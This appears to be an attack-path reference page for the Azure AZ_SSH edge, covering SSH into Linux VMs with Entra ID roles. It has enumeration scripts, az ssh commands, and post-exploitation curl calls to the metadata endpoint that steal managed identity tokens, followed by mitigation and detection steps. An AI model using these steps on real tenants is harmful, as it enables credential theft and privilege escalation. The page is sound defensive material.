AZ_SSH

Copy page

Summary


Forestall ACL Alias	AZ_SSH
Azure Alias	Virtual Machine User Login / SSH with Entra ID
Affected Object Types	Linux Virtual Machines
Exploitation Certainty	Certain
Azure RBAC Roles	Virtual Machine User Login (`fb879df8-f326-4884-b1cf-06f3ad86be52`), Virtual Machine Administrator Login (`1c0163c0-47e6-4577-8991-ea5c82e286e4`)

Custom Role Data Actions:

Microsoft.Compute/virtualMachines/login/action
Microsoft.Compute/virtualMachines/loginAsAdmin/action

Filter: Linux VMs with the AADSSHLoginForLinux extension and a system-assigned managed identity

Description

AZ_SSH represents the ability to SSH into Linux Azure VMs using Microsoft Entra ID credentials. This is a data-plane permission that enables interactive shell access without requiring local VM credentials.

Prerequisites for this edge:

The VM must have the AADSSHLoginForLinux extension installed.
The VM must have a system-assigned managed identity enabled.
The principal must have Virtual Machine User Login (standard user) or Virtual Machine Administrator Login (sudo) role.

Role	Access Level
Virtual Machine User Login	Standard user shell access
Virtual Machine Administrator Login	Root/sudo access

This edge is distinct from:

AZ_EXECUTE_COMMAND - Uses RunCommand API, no interactive session.
AZ_VM_ADMIN_LOGIN - Broader scope including RDP to Windows.

Identification

PowerShell (Az Module)

Connect-AzAccount

# List Virtual Machine User Login assignments
Get-AzRoleAssignment -RoleDefinitionName "Virtual Machine User Login" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# List Virtual Machine Administrator Login assignments
Get-AzRoleAssignment -RoleDefinitionName "Virtual Machine Administrator Login" |
    Select-Object DisplayName, SignInName, ObjectType, Scope |
    Format-Table -AutoSize

# Find Linux VMs with the Microsoft Entra SSH extension
Get-AzVM | ForEach-Object {
    $extensions = Get-AzVMExtension -ResourceGroupName $_.ResourceGroupName -VMName $_.Name
    $aadExt = $extensions | Where-Object { $_.Name -eq "AADSSHLoginForLinux" }
    if ($aadExt) {
        [PSCustomObject]@{
            VMName = $_.Name
            ResourceGroup = $_.ResourceGroupName
            OSType = $_.StorageProfile.OsDisk.OsType
            AADExtension = $aadExt.Name
            Identity = $_.Identity.Type
        }
    }
} | Format-Table -AutoSize

Exploitation

SSH with Entra ID Credentials as admin

# Install the Azure CLI SSH extension
az extension add --name ssh

# Login to Azure
az login

# SSH to the Linux VM using Entra credentials
az ssh vm --resource-group "<RGName>" --name "<VMName>"

SSH to a Linux VM as administrator with Azure CLI

ssh using Entra ID Credentials as user

az ssh vm --resource-group "<RGName>" --name "<VMName>"

SSH to a Linux VM as user with Azure CLI

Post-Exploitation - Standard User

With Virtual Machine User Login (standard user access):

# Access managed identity token
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Request a managed identity token from a Linux VM

Post-Exploitation - Administrator

With Virtual Machine Administrator Login (sudo access):

# Escalate to root
sudo -i

# Steal managed identity token with elevated context
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Mitigation

Minimize login role assignments
- Remove Virtual Machine User/Administrator Login from identities that dont need interactive access.
- Use AZ_EXECUTE_COMMAND (RunCommand) for automated tasks instead.
Use Virtual Machine User Login instead of Administrator Login
- Grant standard user access unless admin is specifically required.
Restrict Microsoft Entra SSH extension deployment
- Only deploy the extension on VMs that require Entra-based authentication.
- Use Azure Policy to audit extension deployments.
Network security
- Restrict SSH (port 22) access via NSGs.
- Use Azure Bastion for secure access without public endpoints.
- Enable Just-in-Time VM access.
Enable PIM for just-in-time access
- Configure eligible assignments with approval requirements.

Detection

Use the Azure Portal and Microsoft Entra admin center:

In Azure Portal, open the target Linux VM.
Open Activity log and filter Operation for login or loginAsAdmin.
Review Microsoft.Compute/virtualMachines/login/action and Microsoft.Compute/virtualMachines/loginAsAdmin/action events.
Open Microsoft Entra ID -> Sign-in logs and filter Application for Azure Linux VM Sign-In.
Review User, IP address, Location, Date, and Status for unexpected SSH logins.
On the VM blade, open Monitoring -> Metrics and review Network In and Network Out during the same timeframe.

Ask AI